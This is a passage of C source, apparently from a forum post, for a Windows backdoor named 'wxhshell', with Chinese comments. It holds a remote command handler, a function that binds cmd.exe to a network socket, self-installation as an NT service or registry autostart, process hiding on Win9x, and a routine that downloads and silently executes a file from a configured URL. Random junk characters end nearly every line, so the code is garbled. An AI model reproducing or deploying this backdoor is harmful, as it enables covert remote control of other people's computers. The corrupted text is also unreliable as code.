  case '?': { rg+28tlDn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QT{$2 7;  
    break; >SpXB:wx  
  } $_ub.g|  
  // 安装 HVz-i{M  
  case 'i': { ~-x8@ /   
    if(Install()) W=M&U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+}@J}b  
    else jENarB^As  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zf $&+E-  
    break; :}x\&]uC#k  
    } SF+ ^dPwj  
  // 卸载 pC(AM=RY!  
  case 'r': { SdC505m0*  
    if(Uninstall()) b0X*+q   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dvxD{UH  
    else W~p^AHco`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +JZ<9,4  
    break; ?15k~1nA  
    } 5Zs"CDU  
  // 显示 wxhshell 所在路径 j>gO]*BX~  
  case 'p': { AKx\U?ei7  
    char svExeFile[MAX_PATH]; XOa<R  
    strcpy(svExeFile,"\n\r"); Noz+\O\  
      strcat(svExeFile,ExeFile); @dX0gHU[c  
        send(wsh,svExeFile,strlen(svExeFile),0); :i0xer  
    break; .  hHt+  
    } g*t.g@B<2  
  // 重启 <kn#`w1U'  
  case 'b': { \sHM[n F0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); deaxb8'7  
    if(Boot(REBOOT)) @)&b..c?_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#Wg>6  
    else { %_M B-  
    closesocket(wsh); ]@l~z0^|[_  
    ExitThread(0); RUf,)]Vvk  
    }  &N0W!  
    break; @SPmb o  
    } lO%Z4V_Mj  
  // 关机 =N<Hc:<t4  
  case 'd': { OW)8Z 60  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [rTV)JsTb  
    if(Boot(SHUTDOWN)) W~W^$A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ :})R{  
    else { j='Ne5X1  
    closesocket(wsh); mfG|K@ODM-  
    ExitThread(0); aEXV^5;,pJ  
    } mwbkXy;8  
    break; 'BAe>r_Pn  
    } dp)lHBV  
  // 获取shell rZGbU&ZM8  
  case 's': { N$Gx$u3Cd  
    CmdShell(wsh); Q C~~  
    closesocket(wsh); cJ]`/YJ  
    ExitThread(0); 'ZT!a]4  
    break; _?kf9.  
  } g?j"d{.9t  
  // 退出 ct~lt'L\  
  case 'x': { "T}J|28Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 68I4MZK>4  
    CloseIt(wsh); #l;Ekjfz  
    break; wO8^|Yf  
    } \vQ_:-A  
  // 离开 y H+CyL\  
  case 'q': { H:[z#f|t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Fy^K;V"  
    closesocket(wsh); d_5h6C z4  
    WSACleanup(); ACyQsmqm:  
    exit(1); Pv1psKu  
    break; c |C12b[  
        } OPKX&)SE-  
  } }ZYK3F  
  } oAvJ"JH@i  
RtqW!ZZ:H  
  // 提示信息 pY8+;w EI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L~mL9[(,  
} (Nik( Oyj"  
  } 8L=QfKr  
U_VD* F4Bv  
  return; ZgXh[UHQy  
} ,E>VYkoA  
![vc/wuf  
// shell模块句柄 AOWI`  
int CmdShell(SOCKET sock) (nE$};c<b2  
{ eM9~&{m.  
STARTUPINFO si; _K;rM7  
ZeroMemory(&si,sizeof(si)); ?QuFRl,ZJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uq 6T|Zm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G*"N}M1)  
PROCESS_INFORMATION ProcessInfo; 4a3f!G$  
char cmdline[]="cmd"; !Uj !Oy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;3?M?E/$s  
  return 0; %^5$=w  
} 3BSeZ:j7  
v5 9>  
// 自身启动模式 " 3^6  
int StartFromService(void) b _u&%  
{ a"EQldm|d  
typedef struct A?7%q^;E  
{ d&ZwVF!  
  DWORD ExitStatus; VJ$C)0xQA  
  DWORD PebBaseAddress; C$(t`G  
  DWORD AffinityMask; g Sa,A  
  DWORD BasePriority; @Td[rHl  
  ULONG UniqueProcessId; UfkRY<H  
  ULONG InheritedFromUniqueProcessId; .K7A!;  
}   PROCESS_BASIC_INFORMATION; )5&m:R9  
pDKJLa  
PROCNTQSIP NtQueryInformationProcess; c:$:j,i}  
JPpYT~4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; We4 FR4`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nQP0<_S  
H?~u%b@   
  HANDLE             hProcess; siG?Sd_2  
  PROCESS_BASIC_INFORMATION pbi; DRzpV6s  
g9 yCd(2<5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BsRas  
  if(NULL == hInst ) return 0; lLJb3[ e.  
Bdg*XfXXk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q O?ha'Sl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HaC3y[LJ0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s<dD>SU  
b:3hKW  
  if (!NtQueryInformationProcess) return 0; 7]^ }  
5\'%zZ,l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); njX:[_&  
  if(!hProcess) return 0; Ab"uN  
ps [6)d)o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >4VU  
p}.b#{HJ  
  CloseHandle(hProcess); ;`+RSr^8$  
F*w|/-e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B~aOs>1 S]  
if(hProcess==NULL) return 0; X or ,}. w  
7E5Dz7  
HMODULE hMod; v\k,,sI  
char procName[255]; &59#$LyH`%  
unsigned long cbNeeded; "@?|Vv,vn  
xh6x B|Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LWL>hd  
&Kv evPF  
  CloseHandle(hProcess); z\h+6FCD  
A{J1 n  
if(strstr(procName,"services")) return 1; // 以服务启动 B0 I?  
F^NR qE  
  return 0; // 注册表启动 ^sOm7S{  
} nMa^Eq#  
OT& E)eR  
// 主模块 }H#t( 9,U  
int StartWxhshell(LPSTR lpCmdLine) &v-V_.0(H  
{ Ntn md  
  SOCKET wsl; )c'>E4>  
BOOL val=TRUE; i-FUAR  
  int port=0; UjDF  
  struct sockaddr_in door; IeB6r+4|  
B R:  
  if(wscfg.ws_autoins) Install(); ;a3nH  
u,akEvH~a  
port=atoi(lpCmdLine); V0 F30rK  
f>5RAg  
if(port<=0) port=wscfg.ws_port; 0GYEt  
rc$!$~|I3Z  
  WSADATA data; 8T)zB6ng  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W #L"5pRg  
AMd)d^;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bVeTseAG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ij i.3-  
  door.sin_family = AF_INET; &&}5>kg>d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YU=ZZEVi  
  door.sin_port = htons(port); .G_3blE;  
M#cr*%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l>UUaf|O  
closesocket(wsl); GeaDaYh#T  
return 1; (<3lo ZaX  
} unnx#e]  
V*zz- 2 _i  
  if(listen(wsl,2) == INVALID_SOCKET) { H 1D;:n  
closesocket(wsl); ' f$L  
return 1; "x;k'{S  
} ,GJ>vT)  
  Wxhshell(wsl); T4=3VrS  
  WSACleanup(); n]DNxC@b  
P"x-7>c>Y  
return 0; }#G"!/ZA0:  
FMd LkyK;  
} %p2x^air  
x"8ey|@&,  
// 以NT服务方式启动 pfZ,t<bE2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vif8 {S  
{  A<Z 5  
DWORD   status = 0; p$nK@t}  
  DWORD   specificError = 0xfffffff; fHd!/%iG  
{* j^g6;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "Wk{4gS7l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d BMe`hM)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *fl{Y(_OO  
  serviceStatus.dwWin32ExitCode     = 0; 6#)Jl  
  serviceStatus.dwServiceSpecificExitCode = 0; T_x+sv=|X!  
  serviceStatus.dwCheckPoint       = 0; @qPyrgy  
  serviceStatus.dwWaitHint       = 0; NVJ&C]H6  
Nr24[e G>d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sk ?'^6Xh  
  if (hServiceStatusHandle==0) return; pTALhj#,  
Ww96|m  
status = GetLastError(); nheU~jb  
  if (status!=NO_ERROR) M> jBm .  
{ ls24ccOs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l^!A  
    serviceStatus.dwCheckPoint       = 0; -#wVtXaSc  
    serviceStatus.dwWaitHint       = 0; ZjZhz`  
    serviceStatus.dwWin32ExitCode     = status; `_1(Q9Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; PDt<lJU+X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Ug/ ',jkV  
    return; D*cyFAF  
  } ,xYsH+ybA  
DMQNr(w{!2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (~Uel1~@  
  serviceStatus.dwCheckPoint       = 0; }@14E-N=  
  serviceStatus.dwWaitHint       = 0; ;}WtJ&y=M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |[ Ie.&)  
} *NW QmC~  
;4G\]%c)E{  
// 处理NT服务事件,比如:启动、停止 t @(9ga(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /> 3  
{ KR=d"t Qw  
switch(fdwControl) 2]D$|M?$~  
{ qB F!b0lr  
case SERVICE_CONTROL_STOP: >7nV$.5S  
  serviceStatus.dwWin32ExitCode = 0; {jhmp\PN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "%E-X:Il#  
  serviceStatus.dwCheckPoint   = 0; y|6@-:B.  
  serviceStatus.dwWaitHint     = 0; `~ _H=l9{  
  { S,9NUt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %i$M/C"(  
  } -XVEV  
  return; !ww:O|0  
case SERVICE_CONTROL_PAUSE: j/H>0^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c6,s+^^  
  break; l Io9,Ke  
case SERVICE_CONTROL_CONTINUE: A<SOT>m]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UZje>. ~?  
  break; {}_Nep/;  
case SERVICE_CONTROL_INTERROGATE: oWp}O?  
  break; ZU|6jI}  
}; dP$8JI{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )'[x)q  
} "{A*(.  
;8*XOC;[  
// 标准应用程序主函数 h `\$sT!Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nn@^K6  
{ 7m:|u*ij2~  
o_Jn_3=  
// 获取操作系统版本 [DZqCo  
OsIsNt=GetOsVer(); DS:>/m>)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uu}`warW  
JF~1' "_f:  
  // 从命令行安装 c62dorDqy  
  if(strpbrk(lpCmdLine,"iI")) Install(); d>%gW*  
;)(Sdf[P  
  // 下载执行文件 =db'#m{$  
if(wscfg.ws_downexe) { I@0z/4H``  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zoZ<)x=;  
  WinExec(wscfg.ws_filenam,SW_HIDE); H2qf'  
} iHAU|`'N)  
b7B+eN ?z  
if(!OsIsNt) { :}y9$p  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ap5}5 ewM  
HideProc(); $#%U\mI z  
StartWxhshell(lpCmdLine); Jd5\&ma  
} k"xGA*B|  
else Ih.rC>)rx  
  if(StartFromService()) @$qOW  
  // 以服务方式启动 z`k El@  
  StartServiceCtrlDispatcher(DispatchTable); No`|m0 :j  
else .sM<6;  
  // 普通方式启动 z Yw;q3"  
  StartWxhshell(lpCmdLine); U;xu/xDRi  
Y^52~[w~  
return 0; q#P$'7"  
}
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只看该作者 1 发表于: 2006-10-10
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